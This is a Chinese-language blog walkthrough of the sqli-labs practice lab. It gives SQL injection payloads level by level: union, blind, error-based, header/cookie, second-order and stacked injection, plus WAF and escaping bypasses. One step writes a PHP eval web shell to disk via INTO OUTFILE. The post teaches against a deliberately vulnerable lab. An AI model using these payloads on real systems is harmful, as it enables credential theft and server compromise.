sqlilabs过关手册注入天书

page-1

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

首先输入参数?id=1,这时页面正常显示,并不报错
image.png
这时我们输入?id=1'时出现报错,可以判断它是单引号注入
image.png
常规注入,用二分法判断有几个字段,当我们到order by 3时没有报错,说明只有三个字段
image.png
然后我们看回显,用语句union select 1,2,3发现显示的还是用户名和密码,这就需要让前面的语句报错才可以将此语句注入进去,这时我们往1前面加一个-就可以报错,从而执行我们注入的语句,发现2,3可以回显
image.png

查看用户名:union select 1,2,user()--+
查看数据库名:union select 1,2,database()--+
查看数据库版本:union select 1,2,version()--+

我们查看数据库名,是security数据库

查看表:union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image.png

查字段:union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+
查表中的数据:union select 1,2,group_concat(username,0x3a,password) from users--+

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

这里我们没有加入单引号,即为整形,其余注入和第一题完全一致
image.png

?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

根据报错信息我们发现它是字符型注入,且闭合方式为'), 其余注入和第一题完全一致
image.png

?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

当我们输入单引号时发现不报错,输入双引号时报错,根据报错信息我们可以推断是字符型注入,闭合方式为")
image.png
其余注入和第一题完全一致
image.png

?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

第五关根据页面结果得知是字符型但是和前面四关还是不一样,是因为页面虽然有东西,但是只有对于请求对错出现不一样的页面,其余的就没有了。
这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注。
布尔盲注主要用到length()、ascii()、substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么,布尔盲注向对于联合注入来说需要花费大量时间。

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度,length()是获取当前数据库名的长度,如果数据库是test那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度,布尔盲注我们都是长度为1因为我们要一个个判断字符,ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
#判断所有表名字符长度
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
#逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
#判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
#逐一判断字段名
?id=1' and length((select group_concat(username,password) from users))>109--+
#判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
#逐一检测内容

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

当我们输入单引号时发现不报错,输入双引号时报错,根据报错信息我们可以推断是字符型注入,闭合方式为", 其他与第五关一致
image.png

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

secure_file_priv

  • 值为NULL,表示禁止文件的导入与导出
  • 值为某一目录,表示只能对该目录下的文件导入与导出
  • 值为空,表示不对文件的读写进行限制

image.png
第七关为'))闭合,写入shell

?id=1')) union select 1,2,"<?php eval($_REQUEST[8]);?>" into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\shell.php"--+

image.png

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

单引号闭合没有回显
image.png
这里将mysql报错的语句进行了注释,那么这一关报错注入就不行了,尝试盲注

?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

image.png
如果报错注入可以使用的话是可以直接返回user()的,但是这里没有返回。其他的payload参考less5直接进行注入,这里就不一一的演示了。

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
//判断参数构造
?id=1'and if(length((select database()))>9,sleep(5),1)--+
//判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
//逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
//判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
//逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
//判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
//逐一判断字段名
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
//判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
//逐一检测内容

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

第十关和第九关一样只需要将单引号换成双引号。

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

uname=-admin' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) #&passwd=admin&submit=Submit

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

双引号括号闭合。

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

单引号括号闭合,注入成功后无回显,使用基于布尔类型的盲注。

Less-14 POST - Double Injection - Double quotes- String -twist (POST双引号变形双注入)

uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit

Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

将user-agent修改为'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

将referer修改为'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

我们修改cookie为uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

page-2

本关对cookie进行了base64的处理,其他的处理流程和less20是一样的。

第二十二关和第二十一关一样只不过cookie是双引号闭合并base64编码。

Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

第二十三关重新回到get请求,会发现输入单引号报错,但是注释符不管用。猜测注释符被过滤,所以我们可以用单引号闭合,发现成功。之后可以使用联合注入。不过在判断列数时候不能使用order by去判断需要用?id=-1' union select 1,2,3,4 or '1'='1通过不停加数字判断,最后根据页面显示是三列,且显示位是2号。

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

Less-24 Second Degree Injections Real treat -Store Injections (二次注入)

二次排序注入也成为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql注入。
二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. . 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

此例子中我们的步骤是注册一个admin'#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。
sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' ANDpassword=',也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
image.png
image.png

Less-25 Trick with OR & AND (过滤了or和and)

本关主要为or、and过滤,如何绕过or和and过滤。一般性提供以下几种思路:

  1. 大小写变形:Or,OR,oR
  2. 编码:hex,urlencode
  3. 添加注释:/or/
  4. 利用符号:and=&&、or=||

本关利用方法4

?id=1'|| extractvalue(1,concat(0x7e,database()))--+
?id=1&&1=1--+

Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)

不同于25关的是sql语句中对于id,没有单引号的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。

?id=-1%20UNION%20select%201,@@basedir,3%23
?id=20||1=1--+

Less-26 Trick with comments and space (过滤了注释和空格的注入)

本关结合25关,将空格、or、and、/*、#、--、/等各种符号过滤,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。
对于绕过空格有较多的方法:

%09 //TAB键(水平)
%0a //新建一行
%0c //新的一页
%0d //return功能
%0b //TAB键(垂直)
%a0 //空格
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
//爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0
//爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
//爆密码账户

Less-26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

该关卡和二十六关差不多,单引号括号闭合。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注。

Less-27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select)

本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破。

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
//爆表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0
//爆字段
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0
//爆密码账户

Less-27a GET - Blind Based- All your UNION & SELECT belong to us

这里和上一关大致相同,只是闭合方式不一样,经过测试,我们发现双引号可以闭合。

Less-28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)

双写绕过。

Less-28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于盲注的,有括号的单引号字符型,过滤了union和select等的注入)

这关与上一关一样,直接双写就可以。

Less-29 基于WAF的一个错误

HTTP参数污染(HTTP Parameter Pollution):
攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击
image.png
image.png
WAF服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容,我们的后端是apache,那么我们只要将参数放在后面即可

?id=1&id=-2%27union%20select%201,user(),3--+

Less-30 Get - Blind Havaing with WAF

这里与上一关差不多,只不过闭合方式变成了双引号。

Less-31 Protection with WAF

与上述一致,闭合方式为")

Less-32 Bypass addslashes()

第三十二关使用preg_replace函数将斜杠、单引号和双引号过滤了,如果输入id=1"会变成id=1",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

?id=-1%df%27%20union%20select%201,database(),3%20--+
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ //爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ //爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

Less-33 Bypass addslashes()

和上一关一致,只不过换成了addslashe函数。

Less-34 Bypass Add SLASHES

三十四关是post传参,使用addslashes函数对账户和密码都进行转义,使用宽字节注入即可。

Less-35 why care for addslashes()

使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,使用联合查询就可以了。

Less-36 Bypass MySQL Real Escape String

使用mysql_real_escape_string函数对于特殊字符进行转义,和前面三十二关一样。

Less-37 MySQL_real_escape_string

三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入即可,和三十四关一样。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ //爆字段名
1%df' union select 1,group_concat(password,username) from users--+ //爆密码账户

page-3

Less-38 stacked Query

Stacked injections:堆叠注入。从名词的含义就可以看出应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加分号表示语句结束。这样我们就想到了是不是可以多条语句一起使用,这个叫做stacked injection。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

Less-39 stacked Query Intiger type

和Less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1,也就是数字型注入,我们可以构造以下的payload:

?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+

Less-40 stacked Query String type Blind

本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1
我们根据sql语句构造以下的payload:

?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27109%27,%27hello%27,%27hello%27)%23

Less-41 stacked Query Intiger type blind

此处与Less-39是一致的,区别在于41错误不回显,所以我们称之为盲注。

?id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23

Less-42 Stacked Query error based

四十二关是因为账户进行了转义处理密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码那里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。

login_user=1&login_password=1';insert into users(id,username,password) values ('39','less','123456')--+&mysubmit=Login

Less-43 POST - Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)

')来闭合,其余操作同less42。

Less-44 Stacked Query blind

四十四关和四十二关一样。

Less-45 基于报错的password处的')闭合注入

四十五关和四十三关一样。

Less-46 ORDER BY-Error-Numeric

从本关开始,开始学习order by相关注入的知识。
本关的sql语句为sql="SELECT∗FROMusersORDERBYid";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。有报错显示,所以我们可以使用updatexml进行报错注入。

?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))

Less-47 ORDER BY Clause-Error-Single quote

单引号闭合,其余同less46。

Less-48 ORDER BY Clause Blind based

四十八关和四十六一样只不过没有报错显示,所以使用延时注入。

Less-49 ORDER BY Clause Blind based

四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。

Less-50 ORDER BY Clause Blind based

五十关和四十六关一样,可以使用updatexml进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。

Less-51 ORDER BY Clause Blind based

该参数单引号闭合,可以报错注入,可以延时注入,可以堆叠注入。

Less-52 ORDER BY Clause Blind based

该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入。

Less-53 ORDER BY Clause Blind based

该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。

page-4

Less-54:Challenge-1

五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名等等都会随机重置,此关id参数是单引号闭合。

 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ //爆表名

image.png
注意上面这个是我查到的表名,每个人不一样的表名,代码需要更改表名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='efu5ayen93'--+ //爆列名

image.png

?id=-1%27union%20select%201,group_concat(secret_A3RX),3%20from%20efu5ayen93--+ //获取key值

Less-55:Challenge-2

?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ //报表名
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='hafmq5dt9k'--+ //爆列名
?id=-1) union select 1,group_concat(secret_T4WK),3 from hafmq5dt9k--+ //获取key值

Less-56:Challenge-3

五十六关和前面两关类似需要单引号和括号进行闭合。

Less-57:Challenge-4

五十七关就是双引号闭合。

Less-58:Challenge-5

执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。

?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-59:Challenge-6

与less58一致,直接给出一个示例payload:

?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-60:Challenge-7

与上述一致,同样给出一个示例payload:

?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-61:Challenge-8

与上述一致,同样给出一个示例payload:

?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-62:Challenge-9

此处union和报错注入都已经失效了,那我们就要使用延时注入了
payload:

?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+

Less-63:Challenge-10

?id=1%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))--+

Less-64:Challenge-11

?id=1))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+

Less-65:Challenge-12

?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
posted @ 2024-04-29 16:08  NoCirc1e  阅读(64)  评论(0编辑  收藏  举报